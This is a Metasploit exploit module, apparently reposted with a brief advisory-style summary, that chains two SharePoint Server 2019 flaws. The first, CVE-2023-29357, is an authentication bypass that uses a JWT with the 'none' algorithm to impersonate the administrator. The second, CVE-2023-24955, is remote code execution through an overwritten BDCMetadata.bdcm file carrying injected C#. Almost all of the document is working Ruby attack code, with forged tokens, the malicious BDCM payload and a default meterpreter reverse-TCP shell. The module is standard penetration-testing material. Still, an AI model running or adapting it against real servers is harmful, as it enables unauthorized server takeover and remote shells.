Authored by Jang, jheysel-r7 | Site metasploit.com

This Metasploit module exploits two vulnerabilities in Sharepoint 2019 – an authentication bypass as noted in CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955 which was a remote command execution vulnerability patched in May of 2023. The authentication bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to exploit CVE-2023-24955. This authenticated remote command execution vulnerability leverages the impersonated privileged account to replace the /BusinessDataMetadataCatalog/BDCMetadata.bdcm file in the webroot directory with a payload. The payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.

advisories | CVE-2023-24955, CVE-2023-29357

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Sharepoint
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

class SharepointError < StandardError; end
class SharepointInvalidResponseError < SharepointError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE',
'Description' => %q{
This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched
in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.

The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the
signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing
algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic
flaw in the ReadTokenCore() method.

After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to
exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to
replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The
payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.
},
'Author' => [
'Jang', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'],
[ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'],
[ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'],
[ 'CVE', '2023-29357'],
[ 'CVE', '2023-24955']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'Targets' => [
[
'Windows Command',
{
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
'WritableDir' => '%TEMP%',
'CmdStagerFlavor' => [ 'curl' ]
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-05-01',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ])
])
end

def resolve_target_hostname
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '_api', 'web'),
'method' => 'GET',
'headers' => {
# The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME'
'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO'
}
})

if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLMs/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase
else
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header'
end
end

def get_oauth_info(hostname)
vprint_status('getting oauth info')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '_api', 'web'),
'method' => 'GET',
'headers' => {
# The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa
'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh',
'HOST' => hostname
}
})

if res && res.headers['WWW-Authenticate']
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/

realm = Regexp.last_match(1)
client_id = Regexp.last_match(2)
print_status("realm: #{realm}, client_id: #{client_id}")
return realm, client_id
else
raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info'
end
end

def gen_endpoint_hash(url)
Base64.strict_encode64(Digest::SHA256.digest(url.downcase))
end

def gen_app_proof_token
jwt_token = "{"iss":"00000003-0000-0ff1-ce00-000000000000","aud":"00000003-0000-0ff1-ce00-000000000000@#{@realm}","nbf":"1673410334","exp":"1725093890","nameid":"00000003-0000-0ff1-ce00-000000000000@#{@realm}", "ver":"hashedprooftoken","endpointurl": "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=","endpointurlLength": 1, "isloopback": "true"}"
b64_token = Rex::Text.encode_base64(jwt_token)
"eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh"
end

def send_get_request(url)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, url),
'method' => 'GET',
'headers' => @auth_headers
})
end

def send_json_request(url, data)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, url),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => @auth_headers,
'data' => data.to_json
})
end

def get_current_user
res = send_get_request('/_api/web/currentuser')
if res&.code != 200
raise SharepointInvalidResponseError, 'Failed to get current user'
end

res.body
end

def do_auth_bypass
hostname = resolve_target_hostname
hostname = hostname.split('.')[0] if hostname.include?('.')

print_status("Discovered hostname is: #{hostname}")

@realm, @client_id = get_oauth_info(hostname)
print_status("Got Oauth Info: #{@realm}|#{@client_id}")
@lob_id = Rex::Text.rand_text_alpha(rand(4..8))
print_status("Lob id is: #{@lob_id}")

token = gen_app_proof_token

@auth_headers = {
'X-PROOF_TOKEN' => token,
'Authorization' => "Bearer #{token}",
'HOST' => hostname
}

user_info = get_current_user
raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil?

user_info =~ %r{<d:LoginName>.+?|(.+)|.+?</d:LoginName>}
raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1)

username = Regexp.last_match(1)
if user_info.include?('true</d:IsSiteAdmin>')
# The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint
print_status("Successfully impersonated Site Admin: #{username}")
else
raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.'
end
@auth_bypassed = true
end

def check
version = sharepoint_get_version
return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil?

print_status("Sharepoint version detected: #{version}")

begin
CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass
rescue SharepointInvalidResponseError => e
return CheckCode::Safe(e)
end
end

def create_c_sharp_payload(cmd)
class_name = Rex::Text.rand_text_alpha(rand(4..8))
c_sharp_payload = <<~EOF
#{Rex::Text.rand_text_alpha(rand(4..8))}{
class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{
static #{class_name}(){
System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('', '\')}");
}
}
}
namespace #{Rex::Text.rand_text_alpha(rand(4..8))}
EOF

c_sharp_payload
end

def drop_and_execute_payload
bdcm_data = "<?xml version="1.0" encoding="utf-8"?>
<Model
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata"
xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog">
<LobSystems>
<LobSystem Name="#{@lob_id}" Type="WebService">
<Properties>
<Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property>
<Property Name="WebServiceProxyNamespace" Type="System.String">
<![CDATA[#{create_c_sharp_payload(payload.encoded)}]]>
</Property>
<Property Name="WsdlFetchAuthenticationMode" Type="System.String">RevertToSelf</Property>
</Properties>
<LobSystemInstances>
<LobSystemInstance Name="#{@lob_id}"></LobSystemInstance>
</LobSystemInstances>
<Entities>
<Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000">
<Properties>
<Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property>
</Properties>
<Identifiers>
<Identifier Name="ID" TypeName="System.Int32" />
</Identifiers>
<Methods>
<Method Name="ToString" DefaultDisplayName="Create Product" IsStatic="false">
<Parameters>
<Parameter Name="@ID" Direction="In">
<TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" IdentifierName="ID" CreatorField="true" />
</Parameter>
<Parameter Name="@CreateProduct" Direction="Return">
<TypeDescriptor Name="CreateProduct" TypeName="System.Object"></TypeDescriptor>
</Parameter>
</Parameters>
<MethodInstances>
<MethodInstance Name="CreateProduct" Type="GenericInvoker" ReturnParameterName="@CreateProduct">
<AccessControlList>
<AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string">
<Right BdcRight="Execute" />
</AccessControlEntry>
</AccessControlList>
</MethodInstance>
</MethodInstances>
</Method>
</Methods>
</Entity>
</Entities>
</LobSystem>
</LobSystems>
</Model>"

url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url_drop_payload),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' => @auth_headers,
'data' => bdcm_data
})

fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200
print_good('Payload has been successfully delivered')
entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"
lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}"

exec_cmd_data = "<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="Execute"><Parameters><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="17" /><Parameter Type="Array"><Object Type="String">1</Object></Parameter></Parameters></Method><Property Id="22" ParentId="20" Name="ReturnParameterCollection" /><Identity Id="7" Name="#{entity_id}" /><Identity Id="17" Name="#{lob_system_instance}" /></ObjectPaths></Request>"

res2 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' => @auth_headers,
'data' => exec_cmd_data
})

fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200
end

def ensure_target_dir_present
res = send_get_request('/_api/web/GetFolderByServerRelativeUrl('/')/Folders')
@backup_bdc_metadata = ''
if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog')
print_status('BDCMetadata file already present on the remote host, backing it up.')
res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")
if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty?
@backup_bdc_metadata = res_bdc_metadata.body
store_bdcmetadata_loot(res_bdc_metadata.body)
else
print_warning('Failed to backup the existing BDCMetadata.bdcm file')
end
else
body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' }
res_json = send_json_request('/_api/web/folders', body)
if res_json&.code == 201
print_status('Created BDCM Folder')
else
fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder')
end
end
end

def on_new_session(_session)
url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url_drop_payload),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' => @auth_headers,
'data' => @backup_bdc_metadata
})
if res&.code == 200
print_good('BDCMetadata.bdcm has been successfully restored to it's original state.')
else
print_error('BDCMetadata.bdcm restoration has failed.')
end
end

def store_bdcmetadata_loot(data)
file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it')
print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}")
end

def exploit
# Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass.
unless @auth_bypassed
begin
do_auth_bypass
rescue SharepointError => e
fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}")
end
end
# If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up.
ensure_target_dir_present
drop_and_execute_payload
end
end